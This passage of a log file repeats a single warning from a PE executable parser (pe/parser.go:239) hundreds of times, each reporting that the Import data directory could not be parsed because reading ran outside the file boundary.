data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:45:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 